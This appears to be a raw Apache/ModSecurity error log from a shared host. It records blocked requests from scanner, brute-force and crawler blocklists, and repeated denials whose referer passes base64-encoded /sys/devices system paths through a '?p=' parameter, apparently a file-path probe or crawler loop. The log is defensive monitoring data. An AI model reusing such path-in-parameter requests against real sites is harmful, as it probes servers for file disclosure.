"/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30HVWSojQL4F7upKCN2gAAsxI"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:49.455225 2026] [security2:error] [pid 648189:tid 648239] [remote 78.144.74.206:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30HVWSojQL4F7upKCN2gAAsxI"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:49.480546 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:21:49.480836 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:21:49.754555 2026] [security2:error] [pid 646876:tid 646956] [remote 52.167.144.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HdyTkdrNlD40tSHJIwAASk0"] [Sat Jun 13 18:21:49.828113 2026] [access_compat:error] [pid 648189:tid 648296] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:49.828560 2026] [access_compat:error] [pid 648189:tid 648296] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:50.014065 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:50.014526 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:21:50.017366 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.76:36379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:50.017831 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.76:36379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:50.115970 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.54:29553] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:50.116423 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.54:29553] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:50.539909 2026] [security2:error] [pid 715691:tid 715725] [remote 17.246.23.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HrV-dFiaX9AtWiQVwQABfA8"] [Sat Jun 13 18:21:50.545224 2026] [security2:error] [pid 648189:tid 648250] [remote 17.241.75.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HlWSojQL4F7upKCN9QAA-h0"] [Sat Jun 13 18:21:50.548158 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:21:50.548589 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:21:50.640922 2026] [access_compat:error] [pid 715691:tid 715733] [remote 57.141.14.54:29561] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:50.641259 2026] [access_compat:error] [pid 715691:tid 715733] [remote 57.141.14.54:29561] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:50.731988 2026] [security2:error] [pid 646876:tid 646893] [remote 139.59.150.41:42964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.150.59.139.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "transparentyouth.com"] [uri "/wp-login.php"] [unique_id "ai30HtyTkdrNlD40tSHJPQAATw4"] [Sat Jun 13 18:21:50.924609 2026] [security2:error] [pid 715691:tid 715736] [remote 17.22.237.20:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HrV-dFiaX9AtWiQVzQABJxo"] [Sat Jun 13 18:21:50.993953 2026] [security2:error] [pid 715691:tid 715734] [remote 103.255.134.61:35526] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.134.255.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai30HrV-dFiaX9AtWiQVzgABVxg"] [Sat Jun 13 18:21:51.079126 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:21:51.079590 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:21:51.124974 2026] [security2:error] [pid 715691:tid 715946] [client 114.119.158.94:39459] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.camping4eloah.com"] [uri "/robots.txt"] [unique_id "ai30H7V-dFiaX9AtWiQV0wAAAXM"], referer: https://www.camping4eloah.com/robots.txt [Sat Jun 13 18:21:51.178506 2026] [security2:error] [pid 648189:tid 648282] [remote 17.246.19.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30H1WSojQL4F7upKCOBAAAzDw"] [Sat Jun 13 18:21:51.459608 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.98:43124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:51.459917 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.98:43124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:51.477872 2026] [security2:error] [pid 646876:tid 646997] [remote 139.59.150.41:42964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.150.59.139.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "transparentyouth.com"] [uri "/wp-login.php"] [unique_id "ai30H9yTkdrNlD40tSHJTQAAUnY"], referer: https://transparentyouth.com/wp-login.php [Sat Jun 13 18:21:51.554922 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.44:54581] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:51.555208 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.44:54581] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:51.580310 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:21:51.580568 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:21:51.585172 2026] [security2:error] [pid 648189:tid 648314] [remote 17.246.15.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30H1WSojQL4F7upKCODgAAslw"] [Sat Jun 13 18:21:51.959889 2026] [security2:error] [pid 715691:tid 715716] [remote 17.22.245.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30H7V-dFiaX9AtWiQV5AABFwY"] [Sat Jun 13 18:21:52.057081 2026] [security2:error] [pid 715691:tid 715753] [remote 195.142.108.235:49704] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.108.142.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.drebok.com"] [uri "/wp-login.php"] [unique_id "ai30ILV-dFiaX9AtWiQV5QABCys"] [Sat Jun 13 18:21:52.150319 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:21:52.150751 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:21:52.221678 2026] [security2:error] [pid 715691:tid 715933] [client 34.74.242.206:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.hamaraquetta.com"] [uri "/robots.txt"] [unique_id "ai30ILV-dFiaX9AtWiQV6gAAAWY"] [Sat Jun 13 18:21:52.221846 2026] [security2:error] [pid 715691:tid 715933] [client 34.74.242.206:0] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.hamaraquetta.com"] [uri "/robots.txt"] [unique_id "ai30ILV-dFiaX9AtWiQV6gAAAWY"] [Sat Jun 13 18:21:52.261238 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.73:29374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:52.261590 2026] [access_compat:error] [pid 648189:tid 648248] [remote 57.141.14.73:29374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:52.407825 2026] [security2:error] [pid 715691:tid 715945] [client 34.74.242.206:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.hamaraquetta.com"] [uri "/"] [unique_id "ai30ILV-dFiaX9AtWiQV7AAAAXI"] [Sat Jun 13 18:21:52.407933 2026] [security2:error] [pid 715691:tid 715945] [client 34.74.242.206:0] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.hamaraquetta.com"] [uri "/"] [unique_id "ai30ILV-dFiaX9AtWiQV7AAAAXI"] [Sat Jun 13 18:21:52.518857 2026] [security2:error] [pid 715691:tid 715747] [remote 17.241.227.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ILV-dFiaX9AtWiQV8AABZSU"] [Sat Jun 13 18:21:52.583042 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.109:49830] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:52.583371 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.109:49830] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:52.663468 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.51:28366] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:52.663889 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.51:28366] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:52.684347 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 